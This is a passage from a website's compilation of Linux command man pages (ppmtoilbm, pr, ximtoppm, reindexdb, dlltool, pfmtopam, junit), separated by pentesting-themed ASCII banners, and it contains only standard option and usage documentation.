  • Color map (BMHD + CMAP chunk only, nPlanes = 0)

  • Unofficial direct color. 1-16 planes for each color component.

Chunks written: BMHD, CMAP, CAMG (only for HAM), BODY (not for colormap files) unofficial DCOL chunk for direct color ILBM.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoilbm recognizes the following command line options:

Options marked with (*) can be prefixed with a “no”, e.g. “-nohamif”. All options can be abbreviated to their shortest unique prefix.

-maxplanes | -mp n
(default 5, minimum 1, maximum 16) Maximum planes to write in a normal ILBM. If the image does not fit into <n> planes, ppmtoilbm writes a HAM file (if -hamif is used), a 24bit file (if -24if is used) or a direct color file (if -dcif is used) or aborts with an error.

-fixplanes | -fp b
(min 1, max 16) If a normal ILBM is written, it will have exactly <n> planes.

-hambits | -hamplanes n
(default 6, min 3, max 16) Select number of planes for HAM picture. The current Amiga hardware understands 6 and 8 planes, so for now you should only use this values.

-normal
Turns off -hamif/-24if/-dcif, -hamforce/-24force/-dcforce and -cmaponly. Also sets compression type to byterun1.

This is the default.

-hamif (*)
-24if (*)
-dcif (*)
Write a HAM/24bit/direct color file if the image does not fit into <maxplanes> planes.

-hamforce (*)
-24force (*)
-dcforce (*)
Write a HAM/24bit/direct color file.

-dcbits r g b
-dcplanes r g b
(default 5, min 1, max 16). Select number of bits for red, green and blue in a direct color ILBM.

-ecs
Shortcut for: -hamplanes 6 -maxplanes 5

This is the default.

-aga
Shortcut for: -hamplanes 8 -maxplanes 8

-ham6
Shortcut for: -hamplanes 6 -hamforce

-ham8
Shortcut for: -hamplanes 8 -hamforce

-compress (*)
This is the default. Compress the BODY chunk. The default compression method is byterun1. Compression requires building the ILBM image in memory; turning compression off allows stream-writing of the image, but the resulting file will usually be 30% to 50% larger. Another alternative is the -savemem option, this will keep memory requirements for compression at a minimum, but is very slow.

-cmethod none|byterun1
This option does the same thing as -compress.

-map ppmfile
Write a normal ILBM using the colors in <ppmfile> as the colormap. The colormap file also determines the number of planes; -maxplanes and -fixplanes are ignored.

-cmaponly
Write a colormap file: only BMHD and CMAP chunks, no BODY chunk, nPlanes = 0.

-savemem
See the -compress option.

LIMITATIONS

HAM pictures will always get a grayscale colormap; a real color selection algorithm might give better results. On the other hand, this allows row-by-row operation on HAM images, and all HAM images of the same depth (no. of planes) share a common colormap, which is useful for building HAM animations.

REFERENCES

Amiga ROM Kernel Reference Manual - Devices (3rd Ed.) Addison Wesley, ISBN 0-201-56775-X

SEE ALSO

ppm(1) , ilbmtoppm(1)

HISTORY

For about a year in 1993-1994, there was a -savemem option.

There used to be a -floyd (aka -fs) option that was supposed to cause images to be dithered so that a larger number of colors in the PPM input could be represented in a smaller number of colors in the ILBM output. But it was never documented. Furthermore, developers discovered in January 2022 that the code for this was nonfunctional because of defects, and had been for a very long time and maybe always. Finally,, this functions is not appropriate in the Netpbm philosophy, because dithering should be done by a separate dithering program, not a format conversion program. Indeed, the programs ppmdither, pnmquant, and pnmremap can do this.

Therefore, since Netpbm 10.98 (March 2022), the dithering code has not been in the program and any attempt to use the options fails with a simple invalid option message. But the -nofloyd and -nofs options remain, doing nothing as they were designed to do, and still not documented. This is just in case something uses those options, since the cost of maintaining them is so small.

AUTHORS

Copyright (C) 1989 by Jef Poskanzer.

Modified October 1993 by Ingo Wilken ([email protected])

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoilbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1124 - Linux cli command pr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pr and provides detailed information about the command pr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pr.

NAME 🖥️ pr 🖥️

convert text files for printing

SYNOPSIS

pr [OPTION]… [FILE]…

DESCRIPTION

Paginate or columnate FILE(s) for printing.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.

+FIRST_PAGE[:LAST_PAGE], –pages=FIRST_PAGE[:LAST_PAGE]
begin [stop] printing with page FIRST_[LAST_]PAGE

-COLUMN, –columns=COLUMN
output COLUMN columns and print columns down, unless -a is used. Balance number of lines in the columns on each page

-a, –across
print columns across rather than down, used together with -COLUMN

-c, –show-control-chars
use hat notation (^G) and octal backslash notation

-d, –double-space
double space the output

-D, –date-format=FORMAT
use FORMAT for the header date

-e[CHAR[WIDTH]], –expand-tabs[=CHAR[WIDTH]]
expand input CHARs (TABs) to tab WIDTH (8)

-F, -f, –form-feed
use form feeds instead of newlines to separate pages (by a 3-line page header with -F or a 5-line header and trailer without -F)

-h, –header=HEADER
use a centered HEADER instead of filename in page header, -h "" prints a blank line, don’t use -h""

-i[CHAR[WIDTH]], –output-tabs[=CHAR[WIDTH]]
replace spaces with CHARs (TABs) to tab WIDTH (8)

-J, –join-lines
merge full lines, turns off -W line truncation, no column alignment, –sep-string[=STRING] sets separators

-l, –length=PAGE_LENGTH
set the page length to PAGE_LENGTH (66) lines (default number of lines of text 56, and with -F 63). implies -t if PAGE_LENGTH <= 10

-m, –merge
print all files in parallel, one in each column, truncate lines, but join lines of full length with -J

-n[SEP[DIGITS]], –number-lines[=SEP[DIGITS]]
number lines, use DIGITS (5) digits, then SEP (TAB), default counting starts with 1st line of input file

-N, –first-line-number=NUMBER
start counting with NUMBER at 1st line of first page printed (see +FIRST_PAGE)

-o, –indent=MARGIN
offset each line with MARGIN (zero) spaces, do not affect -w or -W, MARGIN will be added to PAGE_WIDTH

-r, –no-file-warnings
omit warning when a file cannot be opened

-s[CHAR], –separator[=CHAR]
separate columns by a single character, default for CHAR is the <TAB> character without -w and ’no char’ with -w. -s[CHAR] turns off line truncation of all 3 column options (-COLUMN|-a -COLUMN|-m) except -w is set

-S[STRING], –sep-string[=STRING]
separate columns by STRING, without -S: Default separator <TAB> with -J and <space> otherwise (same as -S" “), no effect on column options

-t, –omit-header
omit page headers and trailers; implied if PAGE_LENGTH <= 10

-T, –omit-pagination
omit page headers and trailers, eliminate any pagination by form feeds set in input files

-v, –show-nonprinting
use octal backslash notation

-w, –width=PAGE_WIDTH
set page width to PAGE_WIDTH (72) characters for multiple text-column output only, -s[char] turns off (72)

-W, –page-width=PAGE_WIDTH
set page width to PAGE_WIDTH (72) characters always, truncate lines, except -J option is set, no interference with -S or -s

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Pete TerMaat and Roland Huebner.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/pr>
or available locally via: info ‘(coreutils) pr invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1125 - Linux cli command ximtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ximtoppm and provides detailed information about the command ximtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ximtoppm.

.

NAME 🖥️ ximtoppm 🖥️

convert an Xim file to a PPM image

SYNOPSIS

ximtoppm

[–alphaout={alpha-filename,-}] [ximfile]

DESCRIPTION

This program is part of Netpbm(1) .

ximptoppm reads an Xim file as input and produces a PPM image as output. The Xim toolkit is included in the contrib tree of the X.V11R4 release.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ximtoppm recognizes the following command line option:

You can abbreviate any option to its shortest unique prefix.

**–alphaout=**alpha-filename
ximtoppm creates a PGM file containing the transparency channel values in the input image. If the input image doesn’t contain a transparency channel, the alpha-filename file contains all zero (transparent) transparency values. If you don’t specify –alphaout, ximtoppm does not generate a transparency file, and if the input image has a transparency channel, ximtoppm simply discards it.

If you specify - as the filename, ximtoppm writes the transparency output to Standard Output and discards the image.

Actually, an Xim image can contain an arbitrary fourth channel – it need not be a transparency channel. ximtoppm extracts any fourth channel it finds as described above; it doesn’t matter if it is a transparency channel or not.

See pamcomp(1) for one way to use the transparency output file.

SEE ALSO

pamcomp(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ximtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1126 - Linux cli command reindexdb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command reindexdb and provides detailed information about the command reindexdb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the reindexdb.

NAME 🖥️ reindexdb 🖥️

reindex a PostgreSQL database

SYNOPSIS

reindexdb [connection-option…] [option…] [ -S | –schema schema ]… [ -t | –table table ]… [ -i | –index index ]… [dbname]

reindexdb [connection-option…] [option…] -a | –all

reindexdb [connection-option…] [option…] -s | –system [dbname]

DESCRIPTION

reindexdb is a utility for rebuilding indexes in a PostgreSQL database.

reindexdb is a wrapper around the SQL command REINDEX. There is no effective difference between reindexing databases via this utility and via other methods for accessing the server.

OPTIONS

reindexdb accepts the following command-line arguments:

-a
–all

Reindex all databases.

–concurrently

Use the CONCURRENTLY option. See REINDEX(7), where all the caveats of this option are explained in detail.

[-d] dbname
**[–dbname=]**dbname

Specifies the name of the database to be reindexed, when -a/–all is not used. If this is not specified, the database name is read from the environment variable PGDATABASE. If that is not set, the user name specified for the connection is used. The dbname can be a connection string. If so, connection string parameters will override any conflicting command line options.

-e
–echo

Echo the commands that reindexdb generates and sends to the server.

-i index
**–index=**index

Recreate index only. Multiple indexes can be recreated by writing multiple -i switches.

-j njobs
**–jobs=**njobs

Execute the reindex commands in parallel by running njobs commands simultaneously. This option may reduce the processing time but it also increases the load on the database server.

reindexdb will open njobs connections to the database, so make sure your max_connections setting is high enough to accommodate all connections.

Note that this option is incompatible with the –index and –system options.

-q
–quiet

Do not display progress messages.

-s
–system

Reindex databases system catalogs only.

-S schema
**–schema=**schema

Reindex schema only. Multiple schemas can be reindexed by writing multiple -S switches.

-t table
**–table=**table

Reindex table only. Multiple tables can be reindexed by writing multiple -t switches.

**–tablespace=**tablespace

Specifies the tablespace where indexes are rebuilt. (This name is processed as a double-quoted identifier.)

-v
–verbose

Print detailed information during processing.

-V
–version

Print the reindexdb version and exit.

-?
–help

Show help about reindexdb command line arguments, and exit.

reindexdb also accepts the following command-line arguments for connection parameters:

-h host
**–host=**host

Specifies the host name of the machine on which the server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force reindexdb to prompt for a password before connecting to a database.

This option is never essential, since reindexdb will automatically prompt for a password if the server demands password authentication. However, reindexdb will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

**–maintenance-db=**dbname

Specifies the name of the database to connect to to discover which databases should be reindexed, when -a/–all is used. If not specified, the postgres database will be used, or if that does not exist, template1 will be used. This can be a connection string. If so, connection string parameters will override any conflicting command line options. Also, connection string parameters other than the database name itself will be re-used when connecting to other databases.

ENVIRONMENT

PGDATABASE
PGHOST
PGPORT
PGUSER

Default connection parameters

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

DIAGNOSTICS

In case of difficulty, see REINDEX(7) and psql(1) for discussions of potential problems and error messages. The database server must be running at the targeted host. Also, any default connection settings and environment variables used by the libpq front-end library will apply.

NOTES

reindexdb might need to connect several times to the PostgreSQL server, asking for a password each time. It is convenient to have a ~/.pgpass file in such cases. See Section 34.16 for more information.

EXAMPLES

To reindex the database test:

$ reindexdb test

To reindex the table foo and the index bar in a database named abcd:

$ reindexdb –table=foo –index=bar abcd

SEE ALSO

REINDEX(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1127 - Linux cli command i686-w64-mingw32-dlltool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command i686-w64-mingw32-dlltool and provides detailed information about the command i686-w64-mingw32-dlltool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the i686-w64-mingw32-dlltool.

NAME 🖥️ i686-w64-mingw32-dlltool 🖥️

create files needed to build and use DLLs

SYNOPSIS

dlltool [-d|–input-def def-file-name] [-b|–base-file base-file-name] [-e|–output-exp exports-file-name] [-z|–output-def def-file-name] [-l|–output-lib library-file-name] [-y|–output-delaylib library-file-name] [–export-all-symbols] [–no-export-all-symbols] [–exclude-symbols list] [–no-default-excludes] [-S|–as path-to-assembler] [-f|–as-flags options] [-D|–dllname name] [-m|–machine machine] [-a|–add-indirect] [-U|–add-underscore] [–add-stdcall-underscore] [-k|–kill-at] [-A|–add-stdcall-alias] [-p|–ext-prefix-alias prefix] [-x|–no-idata4] [-c|–no-idata5] [–use-nul-prefixed-import-tables] [-I|–identify library-file-name] [–identify-strict] [-i|–interwork] [-n|–nodelete] [-t|–temp-prefix prefix] [-v|–verbose] [-h|–help] [-V|–version] [–no-leading-underscore] [–leading-underscore] [–deterministic-libraries] [–non-deterministic-libraries] [object-file …]

DESCRIPTION

dlltool reads its inputs, which can come from the -d and -b options as well as object files specified on the command line. It then processes these inputs and if the -e option has been specified it creates a exports file. If the -l option has been specified it creates a library file and if the -z option has been specified it creates a def file. Any or all of the -e, -l and -z options can be present in one invocation of dlltool.

When creating a DLL, along with the source for the DLL, it is necessary to have three other files. dlltool can help with the creation of these files.

The first file is a .def file which specifies which functions are exported from the DLL, which functions the DLL imports, and so on. This is a text file and can be created by hand, or dlltool can be used to create it using the -z option. In this case dlltool will scan the object files specified on its command line looking for those functions which have been specially marked as being exported and put entries for them in the .def file it creates.

In order to mark a function as being exported from a DLL, it needs to have an -export:<name_of_function> entry in the .drectve section of the object file. This can be done in C by using the asm() operator:

asm (".section .drectve"); asm (".ascii -export:my_func"); int my_func (void) { … }

The second file needed for DLL creation is an exports file. This file is linked with the object files that make up the body of the DLL and it handles the interface between the DLL and the outside world. This is a binary file and it can be created by giving the -e option to dlltool when it is creating or reading in a .def file.

The third file needed for DLL creation is the library file that programs will link with in order to access the functions in the DLL (an `import library’). This file can be created by giving the -l option to dlltool when it is creating or reading in a .def file.

If the -y option is specified, dlltool generates a delay-import library that can be used instead of the normal import library to allow a program to link to the dll only as soon as an imported function is called for the first time. The resulting executable will need to be linked to the static delayimp library containing _ _delayLoadHelper2(), which in turn will import LoadLibraryA and GetProcAddress from kernel32.

dlltool builds the library file by hand, but it builds the exports file by creating temporary files containing assembler statements and then assembling these. The -S command-line option can be used to specify the path to the assembler that dlltool will use, and the -f option can be used to pass specific flags to that assembler. The -n can be used to prevent dlltool from deleting these temporary assembler files when it is done, and if -n is specified twice then this will prevent dlltool from deleting the temporary object files it used to build the library.

Here is an example of creating a DLL from a source file dll.c and also creating a program (from an object file called program.o) that uses that DLL:

gcc -c dll.c dlltool -e exports.o -l dll.lib dll.o gcc dll.o exports.o -o dll.dll gcc program.o dll.lib -o program

dlltool may also be used to query an existing import library to determine the name of the DLL to which it is associated. See the description of the -I or –identify option.

OPTIONS

The command-line options have the following meanings:

-d filename

–input-def filename

Specifies the name of a .def file to be read in and processed.

-b filename

–base-file filename

Specifies the name of a base file to be read in and processed. The contents of this file will be added to the relocation section in the exports file generated by dlltool.

-e filename

–output-exp filename

Specifies the name of the export file to be created by dlltool.

-z filename

–output-def filename

Specifies the name of the .def file to be created by dlltool.

-l filename

–output-lib filename

Specifies the name of the library file to be created by dlltool.

-y filename

–output-delaylib filename

Specifies the name of the delay-import library file to be created by dlltool.

–deterministic-libraries

–non-deterministic-libraries

When creating output libraries in response to either the –output-lib or –output-delaylib options either use the value of zero for any timestamps, user ids and group ids created (–deterministic-libraries) or the actual timestamps, user ids and group ids (–non-deterministic-libraries).

–export-all-symbols
Treat all global and weak defined symbols found in the input object files as symbols to be exported. There is a small list of symbols which are not exported by default; see the –no-default-excludes option. You may add to the list of symbols to not export by using the –exclude-symbols option.

–no-export-all-symbols
Only export symbols explicitly listed in an input .def file or in .drectve sections in the input object files. This is the default behaviour. The .drectve sections are created by dllexport attributes in the source code.

–exclude-symbols list
Do not export the symbols in list. This is a list of symbol names separated by comma or colon characters. The symbol names should not contain a leading underscore. This is only meaningful when –export-all-symbols is used.

–no-default-excludes
When –export-all-symbols is used, it will by default avoid exporting certain special symbols. The current list of symbols to avoid exporting is DllMain@12, DllEntryPoint@0, impure_ptr. You may use the –no-default-excludes option to go ahead and export these special symbols. This is only meaningful when –export-all-symbols is used.

-S path

–as path

Specifies the path, including the filename, of the assembler to be used to create the exports file.

-f options

–as-flags options

Specifies any specific command-line options to be passed to the assembler when building the exports file. This option will work even if the -S option is not used. This option only takes one argument, and if it occurs more than once on the command line, then later occurrences will override earlier occurrences. So if it is necessary to pass multiple options to the assembler they should be enclosed in double quotes.

-D name

–dll-name name

Specifies the name to be stored in the .def file as the name of the DLL when the -e option is used. If this option is not present, then the filename given to the -e option will be used as the name of the DLL.

-m machine

-machine machine

Specifies the type of machine for which the library file should be built. dlltool has a built in default type, depending upon how it was created, but this option can be used to override that. This is normally only useful when creating DLLs for an ARM processor, when the contents of the DLL are actually encode using Thumb instructions.

-a

–add-indirect

Specifies that when dlltool is creating the exports file it should add a section which allows the exported functions to be referenced without using the import library. Whatever the hell that means!

-U

–add-underscore

Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of all exported symbols.

–no-leading-underscore

–leading-underscore

Specifies whether standard symbol should be forced to be prefixed, or not.

–add-stdcall-underscore
Specifies that when dlltool is creating the exports file it should prepend an underscore to the names of exported stdcall functions. Variable names and non-stdcall function names are not modified. This option is useful when creating GNU-compatible import libs for third party DLLs that were built with MS-Windows tools.

-k

–kill-at

Specifies that @<number> suffixes should be omitted from the names of stdcall functions that will be imported from the DLL. This is useful when creating an import library for a DLL which exports stdcall functions but without the usual @<number> symbol name suffix. This does not change the naming of symbols provided by the import library to programs linked against it, but only the entries in the import table (ie the .idata section).

-A

–add-stdcall-alias

Specifies that when dlltool is creating the exports file it should add aliases for stdcall symbols without @ <number> in addition to the symbols with @ <number>.

-p

–ext-prefix-alias prefix

Causes dlltool to create external aliases for all DLL imports with the specified prefix. The aliases are created for both external and import symbols with no leading underscore.

-x

–no-idata4

Specifies that when dlltool is creating the exports and library files it should omit the .idata4 section. This is for compatibility with certain operating systems.

–use-nul-prefixed-import-tables
Specifies that when dlltool is creating the exports and library files it should prefix the .idata4 and .idata5 by zero an element. This emulates old gnu import library generation of dlltool. By default this option is turned off.

-c

–no-idata5

Specifies that when dlltool is creating the exports and library files it should omit the .idata5 section. This is for compatibility with certain operating systems.

-I filename

–identify filename

Specifies that dlltool should inspect the import library indicated by filename and report, on stdout, the name(s) of the associated DLL(s). This can be performed in addition to any other operations indicated by the other options and arguments. dlltool fails if the import library does not exist or is not actually an import library. See also –identify-strict.

–identify-strict
Modifies the behavior of the –identify option, such that an error is reported if filename is associated with more than one DLL.

-i

–interwork

Specifies that dlltool should mark the objects in the library file and exports file that it produces as supporting interworking between ARM and Thumb code.

-n

–nodelete

Makes dlltool preserve the temporary assembler files it used to create the exports file. If this option is repeated then dlltool will also preserve the temporary object files it uses to create the library file.

-t prefix

–temp-prefix prefix

Makes dlltool use prefix when constructing the names of temporary assembler and object files. By default, the temp file prefix is generated from the pid.

-v

–verbose

Make dlltool describe what it is doing.

-h

–help

Displays a list of command-line options and then exits.

-V

–version

Displays dlltool’s version number and then exits.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

The Info pages for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1128 - Linux cli command pfmtopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pfmtopam and provides detailed information about the command pfmtopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pfmtopam.

.

NAME 🖥️ pfmtopam 🖥️

Convert PFM (Portable Float Map) image to Netpbm format

SYNOPSIS

pfmtopam [-maxval=n] [-verbose] [imagefile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pfmtopam reads a PFM (Portable Float Map) image and converts it to PAM.

See pamtopfm(1) for a description of PFM.

If you want one of the older, more portable Netpbm formats, run the output through pamtopnm.

pamtopfm creates a PAM with tuple type “RGB” or “GRAYSCALE” depending on whether or not the PFM is in the color subformat.

Use pamtopfm(1) to convert a PFM image to Netpbm format.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pfmtopam recognizes the following command line options:

**-maxval=**n
This specifies the maxval for the PAM. Default is 255.

-verbose
This causes pfmtopam to display messages describing the PFM input file.

SEE ALSO

pamtopfm(1) , pam(1) ,

HISTORY

pfmtopam was added to Netpbm in Release 10.22 (April 2004).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pfmtopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1129 - Linux cli command junit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command junit and provides detailed information about the command junit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the junit.

NAME 🖥️ junit 🖥️

automated testing framework for Java

SYNOPSIS

junit [option] TestCaseName …

DESCRIPTION

junit is a simple framework for writing and running automated tests. As a political gesture, it celebrates programmers testing their own software.

OPTIONS

A summary of options are included below.

TestCaseName
TestCaseName is name of TestCase class.

-help
Show summary of options.

-text
using text user interface.

-awt
using awt user interface.

-swing
using swing user interface.

AUTHOR

This manual page was written by Takashi Okamoto <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
